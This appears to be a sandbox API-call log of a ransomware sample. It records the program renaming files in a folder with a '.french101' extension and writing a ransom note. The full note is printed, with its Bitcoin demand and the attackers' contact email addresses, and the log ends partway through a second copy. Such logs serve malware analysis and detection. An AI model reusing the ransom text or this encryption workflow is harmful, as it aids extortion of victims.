lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0283.900] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.900] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0283.900] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0283.900] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.900] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0283.900] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0283.900] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0283.900] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0283.900] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.900] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.900] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.900] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.900] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.900] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.901] CharLowerBuffW (in: lpsz="Parameterinfo.xml", cchLength=0x11 | out: lpsz="parameterinfo.xml") returned 0x11 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.901] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0283.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlfo.xmlo", lpUsedDefaultChar=0x0) returned 4 [0283.901] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\я" (normalized: "c:\\588bce7c90097ed212\\client\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.936] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cb8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cb8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0283.937] CloseHandle (hObject=0x308) returned 1 [0283.938] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\я" (normalized: "c:\\588bce7c90097ed212\\client\\я")) returned 1 [0283.939] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0283.939] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.939] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.939] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.939] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1 [0283.940] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0283.940] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.940] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x31444 [0283.940] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.940] SetFilePointer (in: hFile=0x308, lDistanceToMove=201796, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x31444 [0283.940] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.001] CloseHandle (hObject=0x308) returned 1 [0284.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.012] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.012] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x31445 [0284.012] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.012] SetFilePointer (in: hFile=0x308, lDistanceToMove=201796, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x31444 [0284.012] SetEndOfFile (hFile=0x308) returned 1 [0284.015] CloseHandle (hObject=0x308) returned 1 [0284.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x31444 [0284.015] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.031] CloseHandle (hObject=0x308) returned 1 [0284.032] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\sJJEll8DFqbCbJstgQJNyRmV77d5+Jq5KazGbGKhtgbZeA.french101" (normalized: "c:\\588bce7c90097ed212\\client\\sjjell8dfqbcbjstgqjnyrmv77d5+jq5kazgbgkhtgbzea.french101")) returned 1 [0284.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\sJJEll8DFqbCbJstgQJNyRmV77d5+Jq5KazGbGKhtgbZeA.french101" (normalized: "c:\\588bce7c90097ed212\\client\\sjjell8dfqbcbjstgqjnyrmv77d5+jq5kazgbgkhtgbzea.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.033] CloseHandle (hObject=0x308) returned 1 [0284.033] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\sJJEll8DFqbCbJstgQJNyRmV77d5+Jq5KazGbGKhtgbZeA.french101", dwFileAttributes=0x80) returned 1 [0284.034] CloseHandle (hObject=0x308) returned 0 [0284.034] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.034] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0284.034] GetLastError () returned 0x2 [0284.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\client\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.034] WriteFile (in: hFile=0x308, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0284.035] CloseHandle (hObject=0x308) returned 1 [0284.035] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.035] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.035] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.036] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.036] CharLowerBuffW (in: lpsz="UiInfo.xml", cchLength=0xa | out: lpsz="uiinfo.xml") returned 0xa [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.038] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.038] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0284.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlw", lpUsedDefaultChar=0x0) returned 4 [0284.038] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.038] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.038] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.038] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.038] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0284.039] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x9882 [0284.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.039] SetFilePointer (in: hFile=0x308, lDistanceToMove=39042, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x9882 [0284.039] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c48*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c48*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.074] CloseHandle (hObject=0x308) returned 1 [0284.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.087] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.087] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x9883 [0284.087] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.087] SetFilePointer (in: hFile=0x308, lDistanceToMove=39042, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x9882 [0284.087] SetEndOfFile (hFile=0x308) returned 1 [0284.089] CloseHandle (hObject=0x308) returned 1 [0284.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.090] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.090] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x9882 [0284.090] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.102] CloseHandle (hObject=0x308) returned 1 [0284.103] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Z7RRkRFcQBdBGYeTXwVNTZas7ss.french101" (normalized: "c:\\588bce7c90097ed212\\client\\z7rrkrfcqbdbgyetxwvntzas7ss.french101")) returned 1 [0284.167] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Z7RRkRFcQBdBGYeTXwVNTZas7ss.french101" (normalized: "c:\\588bce7c90097ed212\\client\\z7rrkrfcqbdbgyetxwvntzas7ss.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.167] CloseHandle (hObject=0x308) returned 1 [0284.168] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Z7RRkRFcQBdBGYeTXwVNTZas7ss.french101", dwFileAttributes=0x80) returned 1 [0284.168] CloseHandle (hObject=0x308) returned 0 [0284.168] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not 